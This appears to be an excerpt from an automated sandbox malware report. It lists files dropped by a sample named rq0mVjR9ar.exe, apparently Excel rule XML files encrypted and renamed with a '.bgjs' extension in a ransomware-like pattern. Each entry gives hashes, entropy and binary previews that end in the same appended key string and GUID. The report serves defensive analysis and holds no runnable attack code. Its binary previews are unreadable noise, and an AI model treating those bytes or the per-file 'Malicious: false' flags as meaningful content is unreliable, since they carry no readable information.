tGMu...&.....B.WOI9....h.t..>.....Z9...R.Q..k..^#.z`....s....B...k.hl.q...\|..}.]_...\|..q.d...........(F.I....\|'.O\|......H...y.C..n.........(....>..........d.(..s%...i..+.s.....i.~#..tP......S..f.=...&QZ..=N_t..u:..$)U..n....Ym.>.......8.B..Vd....![E$y.......>Gr...Wh..?....0HQ....G`.^_....&&.8A...P.9.....Fu+&.......4D...3.......j,6.pt..o..$....M..uN.z.......\|..Q....\...C..G.o..-Y.."B2.Z...Q`..mlc\|2.&K..<:..It....>D....Qj..e.$M..R..df....g4...E?.Y.e\..0$..4.:b..G...oalp`......<.[.3.T../.Me...olds.s.k#bJ.j54Jd../.Cem.wm.H.g.1..Ds.....xX.a......<'.....CO....;...%.}.T..z$.X...$\|A.....,.u.CC9A../.k..ml....`m.5.u...E.4.....c~..E....q..N.(..@y).~...".B0.Q....Q^.4.,.]..,oP......z...=.....4..XX..?g...G......B.....P...+.O........@-..j.ewv...f.`.Au\|r...o..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170065v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.712825271708178
Encrypted:	false
SSDEEP:	12:64/jjzuY4QJM6a0UImcZYCm851aE/VLXUpX6jlWOowUcOvjC/coi5ytG4/ixpZaX:NHzuYRJMp0AcqCm0BjlWOTxOO/coi5y9
MD5:	9185BE9452255E9FDA2CF38556D22EF2
SHA1:	E236EBE693259185C8B362185ADEE84DB487ACAC
SHA-256:	A2629543B624A38098ED1BE47FBE2CEA1178D68DBA0F1E3213ED6A943AAAC0A5
SHA-512:	48C4F00EC80052A8DBC1C8FCF8AB0E92748502A8DF08CD04C285627DA02553AFC032AB1CBD9BC08CC97354FA18D6EA60E37A78A4C8F269C839B99B11A2433F8A
Malicious:	false
Preview:	<?xml.......!....9.....2G~Rm.y..9._.v.y...%.r.m...N.Q...k.... ud2.^......?...\|-".S(w`...+.Ig.r...p..~..n.$...8....(i.=...[.3....T..E...2..g...OvD.2...\|..T4.w...........2.....F..h.....=.H...=...:op.{:0..../..O7..L..H.].;t..3y..y..$..#..ZB...E..?-O.....V-.)Q9\...`...YB..7.cNQ.z.Tt..M..h...<#..T.H.h..Vq....e)~.-.....0.o....2......C....i...l.q..".8.V...JO!...6v.../.2F.a.U..!......5..uui>.3?<R..#..........r.m..t7.Q...A..v...E.Uy._..fa.2H.9br......N...7..7t...3:.._.(....1..`!.V...A..$a..d...K.&..j.\....6....TD...?.......^......\n.\....V.P.Y9.9".w....e.f........:..x.U&(.....}.\...o+..E!c.W..G..$.K.N.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170068v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.699717952613333
Encrypted:	false
SSDEEP:	12:UwexlVqJSar2kcWpt6HJ9AtDuzNe4eGKiZbv20uh4Ky+8GoJBO/NF1dKLfSP3riq:WxmyJWup9AFfRGKm2SKfloGNFcfAriTW
MD5:	1A5F0FC296C947E19B58870E50861565
SHA1:	3AD0687747670A626F3AD55733B90D0BDD26F91C
SHA-256:	2B9BD7D0BE247877CEB68E9AAF490666C31FEA333DEBAD2B6A2948246DE68CB5
SHA-512:	274A597100B6F4F56C13591C649F638E424E4ABFAE3232C67F46444017E08D0A9DFB164119C3989E001E1DB374DB7621D092E624ED51ECED7FFC03A555715285
Malicious:	false
Preview:	<?xml..)...{.sp..t.V...N......Z..........zhH..fI.[f.A...g..u... p'...?......H.xr...x.%.~=9xO.Cvy3].'wP.i:..f.d..y.d..\|.. .y.p..S..I..r.B...!...z.]..)..I&.]tR...A.#.].x...._.~.F....,.sV.Z.@q.;yN~./.O.'IK*K..&..h./...4"...2X.f~..H....C.2R../.H..7.w(..S......f.....C....x..t........p...v...}....jxV.=&.`J.(@... .;......G.j.ZZ-.....\w...L2.C."j..F\|4..\....\|........B.o....9.!og(./_d>.b)1&.q%...IB.Q..yp.....B...^..+.Q\N....:}..6p...q..w.;...$...(?{".._.<.....V......{L.:.xl...a.T..+.e...f...-..[.y.x.........E.\|K.+u...t........r3.C.^...\|L/.....TU...^..r......LT........8x..{&..my1{.s.wEB.M?..Qeec..........[.h.."z%D<...........(......}.M(..6{r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170069v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.759113208290387
Encrypted:	false
SSDEEP:	12:LnOOjcyfu/qyrhewO9ziizofPHEtpF95yCg1sGa0HgTDzs9qbJ+gO8UXg/FZj+cO:LngyQWXeEtpRy/sTDDm8UCVfzM/iTkbD
MD5:	EBE8419EBDB5743444A7FDD7056EC19C
SHA1:	F0EFCF70806E8D5AC4FBB25B7127ED35AC970B34
SHA-256:	9E57CD2978B526E96D5A3BC0AFDC0921062B683AB27C5D1FEBAD166E323A6DF4
SHA-512:	3D8019BF6628BF7A7E8F64D33D4637FB646515486B2A96422B0F22F38FDCBB0D600D029125BC663F6346A73A3CF074341D43CF4A7B61ABA08AC52C5721996FD9
Malicious:	false
Preview:	<?xml....."Q..[..VF..D..[#../..<.......\.bs..a...l....* .d...8.!..@........AHe..Q2.G.je.}..g.....H.@J7f.@..P..D)TlSL\|^,)..E..+.~.3n..v.ZW.J[....._.w../>z..q.......7....p7.i.Yn...l....0...6#>=<1.......!_.<..o.d.....9\`..y.^.+]."....#..l....d..A.g........(.......`.cK..D.3]. .;....V..l!P.7.u.>....8..I..#....t.=..z..t!....e.c.E....u~.....s.Q....%^........L.X..,.p.f.C.S....l..NH..{b-...`....}4...n..h....=K..B..I.-q5....f2;.......~.!..Do1.".Z.g.y.c.. r..(".L.x.....l.j;...Mb.fb@.I.Ik..>....Q.;./..-.p6...T.......p.m..q...%.j.....pB.m.(p.M..A.....+O.x?5n\85.P..x.FY\|Gs.c....R.*."R..b4/4#.jQ..m.d.THYL...U..,.../]y@...ZOc.}x......b.Gm..r.Yu..^...o+#r....C......6:n_..l.....g...).i.y.>.....\|..#'&.b..qp7..B.!.i-....0T..L(..BG/..b.J5.Nd.X.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170070v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.7794262037949
Encrypted:	false
SSDEEP:	24:10NnsMtoGuxnKPDZiP6Mz5uDqccspbdqLdbtv+F3iM6iTkbD:msMuxKbZsnluDqclfSdZmrviD
MD5:	09A041DE2ECE18E36212A0ACF9219ABE
SHA1:	E531DBE57A877589DDFFEB486FE483021A05228B
SHA-256:	44E1F7B9DED8A30B5DF11870B56596A54EDFA21BF6D4AB5C9A7599F5F4F73C02
SHA-512:	62C759CDA3AE715B36F5FD04800EF6DB89FD2E4A447AA8927E2C671BC0BE29967C961AC792C6E7841C82238720CB1D194346B54F2854D3B5FBB806AE6313E4E2
Malicious:	false
Preview:	<?xml.c.o.O.s..^.`.@......C........N,J..-P...2....1..3._.O...........N.r. ....D).R..9...F.<.._\Y.......A.Q.Fl..dh....8.5o vH:G....^...Yb5K.{Ex.n......w..i.$....%..}t.N.S.qJ1.7..(00.@.&B.H.u{=.1nX.\!.`b....b.......r.....9S.I$'t;~......U...q....&.\|.q..c.D.&a....a.p.O...2ybG.....N....Q...G91l.S7.zV....u..o......Z......F.z.3.Fb....r.%g.. g`....X.hb.2...dE..I.....az]..8.......g.j..A.$....W.<....$...".\|G.(.../........6&...0E..\|.........n....N.G<...f.Q0..p...%.."......Z'}....n..9c....f.\c..... ..>.nx.O..p.]QW..?.j...Ih....rl.=._z....Fz.6jC....y......Ff..byh@R..2O.\..W.....".... .I/..ZHs......g.........J......\...\|......V.8~.{h...g.....g=#-7t.y.bZ7.b....rb.\.q....T..J.{....a$..?r..Z.4....g"...U.@u.p({_.L(.....[..BU.I+RI...\|..1.im..~.d{@;...l......'.5...s"-..LX..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170071v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.794835591550077
Encrypted:	false
SSDEEP:	24:X1L0wFQpiFO5uBjKwX+Kjv9z4tx9Q2cQAEX/iTkbD:XbBcUF+xGtniD
MD5:	9CE338C38263F26A7654517A739CF051
SHA1:	0EBB2428BA22193CF3717D5B62318667B1DE8CC5
SHA-256:	57D5B509AB2284F83F78F8510B487917E57BA2AC12044D766F713888A00F7671
SHA-512:	0B977E4CFAD68F7C3F6DB0E0D7ED13D52B3CF4551AE8EAD071712892C0A013C70ADF23FABD3DDF792D1191D9EBDE945248F0DFCB328DE7F3737FA226FAC287EF
Malicious:	false
Preview:	<?xml.j=...R....i.....z?...t7....n...........Hd.8./..uQ.....$...~..;.g...~..3.E....T.Q..I...Li.A...~].'a..MQEz.\....<..M.....c..._N..6)[]bl.Pe7.~....S...E.<.k..6........-...-.N....n.L..8...V..n..Rc.W.Zy..}L..M&x._..s.:r..J=W'..#.H1Dw....e~./.n@.....i^...r.#NoJ>......p.dz.@6..@....fVv.....Z..GF.k`.t...S..Z2....d.&....(Q....J^~t..4...+.7;>..xY.fy../lf$..@...Q.(.B.#.....7.p.BN...K.;:...NE....../..K+......-c..=t....KW_..OX.\.ju....9"..S.. ~WK...3q.Oa:.....^.h...c-...&TA..'>....&E.C...].1).....y.,?f..<......#.\|`..2y....Z%...S..P.d..9.n+.....O.:_...6rA.......).w.ug...Z.s.%:....e.cS_..T..u.. ..=;....6n.,.$.7.W.`.s..U;.m...;...o{./..3...d@.........z.1....is........w2.....n.%.p......vz.b4.;n...=.".......Of...F..`Y..e...'.c.n.^...../.!.O&...E^.....,..h.Y.8.p .......;..^Of..x^=..-....>j.!0!..>.E..k.....dC..\|.j....R4.)..e!...7..}.#e...(0".b.I..............W...#s..y.m.A...;.}t.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170072v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.703631388954505
Encrypted:	false
SSDEEP:	12:0MId03bJRDlZRrk3lHSw0HGkRyf9U6uNwKD/vzvPw8uayPI5yb9I8ZhTixpZaciD:0MICzROSVGkIjujrv48uq5yb9X3TiTkX
MD5:	3B4930D8F3EBDA0912B6F743EE510A79
SHA1:	412D572BF764227FA434DBA128FAF0B6C679990C
SHA-256:	5D99E0B4366D709C74935AACCEEF71465717547593D250EF8040D1408736A8E2
SHA-512:	B7C897D12755D1A052ABC440CE8BE65ED77D57C7F5858C7D921738C8B3A6266CF0A332EF1871A47C457104A439DA99D51CA1C42F375E8E09F92040C9DA6411BF
Malicious:	false
Preview:	<?xml.....Y....oe.~..#8+.W......k..J.....8:A..{...F.Y!.....+f.`.....zBS....,.\Y.~ob....e...j@c.....5.Mm...g..r..R q..by-BA.#c.NA. ......^...@.,?.!o..2.......?.7...4d.\...rN.....zvF......(..5..,...y.6.8.o..M..uDTT.....v..3.x.......Wh`9..c.W.<h.ru.~.$.%...Xw.:.......)T......6.....2Y...V...+...#1.I.......V(...e...b.+..L..) .Pp........'.&.qe(........E.N..G.....>.C.....@.O[&..o.bC%.%[..-M]>C#W.D..\|4..a...l/B....!f.....c.._.U.p.....&.-..YbC......T..a:.V[..:..E..c.8...;}..ON;.6.G+2.h..s.2t.Hw.T...e]'%.?.!m{2....%./.c..Q.3.~...F..F.:.... iV..&.$]...m.6SE..)..Y..2.j.......w*=+r..J..(...[ y.z.d.V.h.........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170073v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	931
Entropy (8bit):	7.758558371660169
Encrypted:	false
SSDEEP:	24:HBjVt1I1wioe+H+gsQ3TdroXbPwBSiTkbD:HBPQoeADsQDizwBniD
MD5:	36FD4772CA192BD6DB724294AED0D769
SHA1:	2F83B9E22804FA5B4C07EF5CA8C7AADBDE524530
SHA-256:	4E382FEC030FF4D77ED9CA0D5A55C40684F903046D92B9AF40AFC4C014443FEC
SHA-512:	BFF7539349E1F9DBED9F9C8068053ACA6B5A6A9EB1A4F058123A35F2807C373497ACEA3628EE7E2B2E1F401E51C9AE7D9C3A711B268175468E7A76003F6716F4
Malicious:	false
Preview:	<?xml..6....+...a......3.<.d.x....L..m...Pp.zN>h.y?...^8..a3..K..c.{.........d-p..P\|)D.xz..fQ.8yQ...qli.b.....B..W.X....S...~..o....^.j.....CTX..M&..0...T.}f.;bb.(...O.G.h-...%E/O.>......F\|... ........._.....x.q{.J..T.RF..7{w..G.r...9.j.A&....p..F.......-..=<.......(....4d.`..5.....DG...?....Y j...".d..u.S{..........9....X....E.s..D..,...\|-.....mY\|Q....W.c..R...U..-......2...<.\|J1....$@fz.:.AN>..j.1....3;4z.@&....`...t..IN.....x.....QV....Y8.....4........A.\|..v..`...`...f.j.\...:....~..L....Q.Qh.._s.5.A...t.8..i.I...m`.R._....eG.../...]..S........<.P...w=8....:WWbs..7...)..eGg.....?r@..V.E.....c+.?y.M....I.`.(..".G.(r."........_$........rt..\Dy..K...g6 .;.S..3.I.+J8.}...9.F_BO....\............y?.K.(&..r.Z.}...R...j.\|Uu.q.3.O1o....2.sc....c..k@+...Oi-RZ.8.Z.].........&....-dQ{...W.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170074v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.772266239937026
Encrypted:	false
SSDEEP:	24:tZE3r4RlRwl46CXhY2rZjEBefAg56Hd9eLGTbJnCINmeO0nCYiTkbD:VfI4JhRWefAi6HdgCNCgOsCJiD
MD5:	C0D6ACC9328D31F0FAE54CCFBA72EF69
SHA1:	D75ADC0F6C19E7249F3C5B4859828A010425535D
SHA-256:	096635FEECC37FB4591E861B3A4653DA39D59529FDA43435C76356A8CDA19545
SHA-512:	BBED05368539AB3DCF8F274D428FBED01A391CF6265A77BF8916408A93B194250A7EC54E56427425BBAE07E3991DA9633511A21C9DA15CC05B92B071A1A20451
Malicious:	false
Preview:	<?xml....q...5..8..~$.YT7.`.[.c.....,NK.Bt$....H .f\|..2.....LT#..p...n]X../.:u....."i..Sft.$y+.LZ.1%....=H%.vW.r..Je.d..U....e.....A....?.91ji...P...0......\n......)HG.a...:...fwq.....9.ToaU2".y.....S!._.&../...-?@k..........].T.N..8..."....G...t..7.g.Px..`.Z.a.\|.._........e..wx....M.u8...............O....6k..$...`/C..e...se+.?...N^.n...Gk.....L.....]q.a......K.Y~.....l........H.\|r..1.....#~C......-n..'.%....N}.d.\.....(b-u.....#.c..0.K\X.Z.......V.....m..(.....~.]i....c.`.X.M.p....&.....mal........d........xn`@...B..`K.;...G.b...P.X.S[.....L..^..%.B.5.>...H.j..b"W...Cl..B.......l.x...M]C.....-)...p....N.g.N.,b.....4...G.,.~...Z.;#a.{.J...@W...j\|.62...'...O.o...u.P`...MuH4.P..R<....1h"...r...c.....p7...<...ZW`.8H#...R.=PU.E..v..g.+...{.y.C.......:@6...e..83f.qU..7oG.h%-..AU.nR.@.c..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170075v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	7.823505828960382
Encrypted:	false
SSDEEP:	24:hcsWL9ebPl2TalLcJrjHE2vq1XEJZYRg4l3pneQFVzmxP1/aaiTkbD:hoYJ8alQrMoaB5leQFde4PiD
MD5:	8E6D5633C4DAD38120715C6EEB9076E4
SHA1:	B95746F5211DE59CAA0DD8AD31C3DC83452D37CC
SHA-256:	F0C8C51B9B3D9C7A136A03D404AB1149BA5FD0CAAB113081FFCC5DA1820A311E
SHA-512:	E89AD785A90114606CC066CCD6DACC5057D9C6544BD36E11ABADBD0DB2EE4FE5ACD1EDBB6A12D758B40A54D030AAE048C7DEE831FDB6DDA4666E0C341DEE8CEA
Malicious:	false
Preview:	<?xml...3L!e.....XE..T...1.{C..c$$j.#1..1@FQ...^.(....8.....$>...o... 2.a.v..qVI3...:,.....A3.....r...H.}.UO..Q........QXmGp..]0..!.Bm.....N.Ps..a.z.\.c-3$d/.k!...g..Y.....N@.^....1..:.N.....Y!.4...r..=.".?vc> \$.X>.~E.".R.D.ZB7%V....I.h......?..t...x..=Sk.#C.W......Xt.6^...P..S....>O.....1...h.F..t.Ex..X.u["..;~.i ..t..l2H.........Q..BT........]X..Y..;.UvQ.qr9A.s...n..''...`........2.p.d.^.0....eL.YdF.Xk?8A.n@..=.$$...D+..CQ....B(.,..c..1..=6S)..y......3.y='.........`.}Pm.6.B...p{.. .dd.=....2.aQ(..u.7.....?..qfnu+...,.J.,.@.}...8.v..W..r.d.i......ab..r.Q,.....V.GhI..3.......7.'`..W(6.D"x.~...9A.I..I.7..S...e.....l....A...E...].....:Bp...c......m..I....=....f.....(....s(....{.R.]}...B.....{....k.5.N..............Y...w..U..s..r.' ...+.#...l...H.(zu......f..L@?r%N6......J_].eC.r .}Z5..[.$...L6.>C..."p.........k.b...;.QJo.E.;,."v...,E7......v.........H...#.?..c.........p..:.V....t.'x.\".....J..x.r.&.....#...V...;k.#..N.j.?d..t

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170076v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.719545331334924
Encrypted:	false
SSDEEP:	12:FLpj0W8CSqZBdiqUYZoHa3/uVItFQHyopL7k0uAkwAbZAMOh5LC5CMHNRixpZacq:Hj0WLzgz+oHaFtWHyoO0VkwAbZA3hkck
MD5:	CE499D988D8030F3DCDE8F4043533931
SHA1:	D62DFBECC2FBF46845F582F9735303C04A1F0770
SHA-256:	151BE3AE4A7CC6CC2C8BB9AF1879264CEC26A9E9EB1852879EAE2E6D6C5DCC5F
SHA-512:	7F9C76396FCB9719A3CEDE16824D334F877AAD5F59CEA93227ADA4E58AD36AC4F8DB32C7E42BD9F2D40A9E589400942856632EB1C90E9DE72B4AA4285A8FB999
Malicious:	false
Preview:	<?xml._.T.A;.....f....,h.b."..Cj..?g7h........z..^..Y...Q.n..=....e.s. .........S..i..I...l.j...Kr.l....Y....n.=.lq.5..%..L)o-...k.0...z............@Cc...P..M..L*.......6....9..M=m.\>.Y.xXmG.%..M..M?O......\|.X}....b....(...v.T.^......m..)."U.6..O...d..Ck.T..;@h..x.......~8L..<`...y...K..c.c...B...p.."B{^.;w!...V.&.>..d...}.Q..'....R.(_.r.W.YaY5Q.?.p....j0lg..<.....W..3z..6....x.qWL/..F}qy.y......6vh~....J+...6t....j..# ~A.d.^i....>.0..%KLj./z..VD...B0c..e.........m.,g..2w...X..Bm.......E.r..~r.;..d..~."......R..2.q...o..k....1.P....T.m.Yk.E.c......G.`..(.5.......(.1U.}..(.m.2..b..;...o.H?.5.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170077v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.682510205381059
Encrypted:	false
SSDEEP:	12:b4fANGTxshGTuoudJNcai0gnVCOq6NbQ+2sxxKjsaYixpZacii9a:bNMTWQTtL0gnSmZx8YiTkbD
MD5:	F0791412B5581A322F1371B1B8167852
SHA1:	1B692A7CBE7E3F43D069D14577B2E55A4A6B264C
SHA-256:	C94BFDB69C2FA593609E61349440D7B59AF8F5A044C1358AAF749C829B424646
SHA-512:	A10F4E852127C7DDCB809A11A1448D34527CE1E7A442C5D4D48A33541254F3DB88185F72315EE08F7043BE4425835BE9F891A4C1FF9482713AEDD3ED0162DF8D
Malicious:	false
Preview:	<?xml..\K..g.E..\|..Z!j......o..!....a@..r....g.H...b!......\.....J....e.~z.PD..S.5...F.....u...g....a...k...(....=.^>p.-.,4..m}..o).b.R\....4.w$+.D}...'.N@...s.<....ke.....J..)...1....._.\|.[.[..bdK..h...n..4....j).k....RF..7..=...P...e.Q1...d..x{].H[-...Z.#brN_.w.lT..(...(.h..hOe..GF..6...l..qb. ..ed....W .&M..]...s....=.!r%.cJ....%..SV'...._t{..[f.-R.~o..(...P..?.=..:T..u-....].A....&..!w....v.).GN.......<.k;.@_ez.]..`..J.d+_..+P~..G...b'./.=..]D....%TMw.k-..zfvX...s.T....r.......2...;.\|K..7X...(.8l....Q.^...lb%6.c...{..5.h...)W........_.4.\|.@...8..vD.....0..2y.@.c....B...w......s......7..Jx..st.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170078v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	817
Entropy (8bit):	7.739669296183015
Encrypted:	false
SSDEEP:	24:1E4jJXC+/TZFA+q19urAyTubuhMImiTkbD:1EmJS07iwAyTYsMsiD
MD5:	457268DBCF00EFFD23D72E6C7EDFA279
SHA1:	25389CEFD0D500992D766AC1B8E639E964D37454
SHA-256:	B6ABC35D346D065BC9C6614331173AFF098E7DCD6FA04026286F9E0394EF7C98
SHA-512:	3FF89AE3E8E07CF93A88A357AD35FAF0DFC6214F7191E3D609F424E334031A6D374895ADAA71C4E5B33F22F48B6EBEBD38C0BEAA432B4288BF4E4CE0E784141F
Malicious:	false
Preview:	<?xml......o.....em..g..4...c.}_.^...Y..m."..X.RV.L. o%.....F.'....... \P`-N......O......\S...@.P...#......1n./x...2...v.z{$..,.9.TD....!}..o....{$U..\y.......v3.D..Ru6.}"...+2..K..3vd..b....8..l..Byp.8.?9.....u@.....bZ6O..r.a...0\X&.^^..u......Fa.....s.f.~...o.>.<Wy#.d....n5q](C....&t...9J.b.].........N,........S...}..HB%.4..B.7...,a.2..f....Qf..4(\.a...!s..7mZ%..?HI..`B...J.:W..m.wr.........0]..i.C.m._..{..k.^>...d@.....k..s....A.%....0........>.\+Hr...H...R..,b.....B....~.....^Mks.hx.}.6.J...>..vi...j..T.O....g.)..m._..d,../>..?..T......].m..W`T.).2AO1.S..0(...B.ndUj.H\|..p..:...o.%.x......@..;..~....."rNk..z.Vy$[.U..Ra.?Y.g,....y.....\.38a.......LV...>~#.D....r./...+QU>...3n.ci`.9.d.C9./.q]Z...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170080v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.681700854848139
Encrypted:	false
SSDEEP:	12:Rd5IMNtQ2lyiVB7TN+qjkla3y7Cwmi8FfBQncX5wkjbzJagbC+46uixpZacii9a:ZIwFVhjklV2i6QncXCk3z1bC+46uiTkX
MD5:	2B8717A12D2F87D144AEB081FD451836
SHA1:	A92D079E054A4345261C253F750062BC8B91D4CA
SHA-256:	D98AEB8F4DE5846EDAB1674BD0BC5ADB1EE4559F261A30905DFE44B5505397EB
SHA-512:	168E706FD71467F451A73A4DFABB695299477A15BD73F59003D77CC6D79FA75CE444B0656C29C0EDECDFCF603287E6E350297BCC06883A166836A343E0627B36
Malicious:	false
Preview:	<?xml...TF.4.r..m.m(...=".\......Uo..(.." 9..s......Pr.GP......."..Z..p..f..v.-6.J.....r.Y.jq.C.t..D.2_..nq.....tg.$....nV!.;<&06.".....E...+..yI?~.\...M...z.w..cKL.l.....Be...Aq....?..Ol...t......T..a....e..)....1U&...].nW.4.y...(.U.$$.I.z{5.J..=.F....>......Z..Ib....F.......5+-.v...j.......dQp...I._.Jn....o8\..b..n4.~...MPq..AY......T.m.4..r-.+..%/.2.kOU.p.[.d.q..@...5..c+.8.?4.V6...yaz..PxO.=.MSD.......:..C.....$..H.N...../..z2;=2....NB.K...Up..x1t....Fn...~Z.(.P....[m.&.N=....o...R.Z-.h).M.~...V#.}....q.s6..^#.$..$C.Y..Su&<.H..d..~'...E...Dlh...Z.R.`V..].z.qF.S..\.N...T\.+I91\{*.X{.zWL.u...RF..I.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170081v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	7.7284129452115256
Encrypted:	false
SSDEEP:	24:9/ht5A1oq2qCLqfupC7/9F7xYIaXbcA/iTkbD:R0xOqf2UlxYIkboiD
MD5:	659222BEB8BE8410324C4F37A347433E
SHA1:	560F5A0934FBCC156E84467288926585B2E116FF
SHA-256:	A11289316EF21EA11A35B158F283519C4DBA15BB61928D99C0CA8416DC9FE168
SHA-512:	BB098F7A4228CA95A1B172167F5374E301B3C23212450C74B4A9100AD18A6BBDAB4D839621BBC3ABD6A114BF8028478EC2E33EB0DC7832DF0970292580364DF5
Malicious:	false
Preview:	<?xml.I.....A#Q.E4.<....B.b.&.J]...:..$.6.'.g.k..R..&.(....rc..M...Q...?.[_.l]Lk.\..$..a0..W."2......._a....X..E......B..k....Gc..HKB_n8Q....:.......Qr..jo.....;^r.G4..{-NL..R..>...7v-.&.q&0.+.k.t..S....D..x...ib2R.4..%Q..s..\|).[.d.L...{.l%FkW.......c.2~...a.Tti.%.....{4,...pS....k/...l.Up.kG.$._...G.2..g{B....im.."X)th}L....}........7..y.hk.#..c.)..c......\|.Aw..H.O....../O.N..'d..G.T."...i...M.m...`..i[HE...."...CQu.5.u..!.5L6.....+..!.AxOP_>..a(n.D.aE.R.<8.$..).'6.AX.}...<<.rDl.n.+..Z..o.d......".PU....j.Z.............kQg..u....M..:.......=xp_....ms.j..^..$..V.i....Q.....z..@..ng..5'.R..{=.a......u_..V.V..j.g..F.j.p. .....-B..3..g7..ltr_K.3..wG......ql...Yt..o.......sK7.o.6ut.C..z.OZ...R.S.].S..Z[...5\|..[O&?T.S....I..............>A...<..P..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170082v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.650974003650914
Encrypted:	false
SSDEEP:	12:jywX4YGiqFzLqayE7RsJsOUmTPbSbwuqwJ4LBPY+yYlWTMXTixpZacii9a:jfkiWGZE7YsTezruqwJ49sDTMjiTkbD
MD5:	D45FF7F91DE3C36F16D9895B9AFF1184
SHA1:	1B0DF64E622891EDC6DE1E775231CC9A4478BB40
SHA-256:	FAB8CAD9A9DD252129F2B27E3D49F80235E118BF336B489670C31641290C0890
SHA-512:	F45E99FF05002D20338DE242E2C0C5C84198A08D8F7C89B124AEA743A212EEC1CD53FB81D310778FD663F1222CA6EE046D6DA1A51F625FFE4C61C93C4A5ED5AE
Malicious:	false
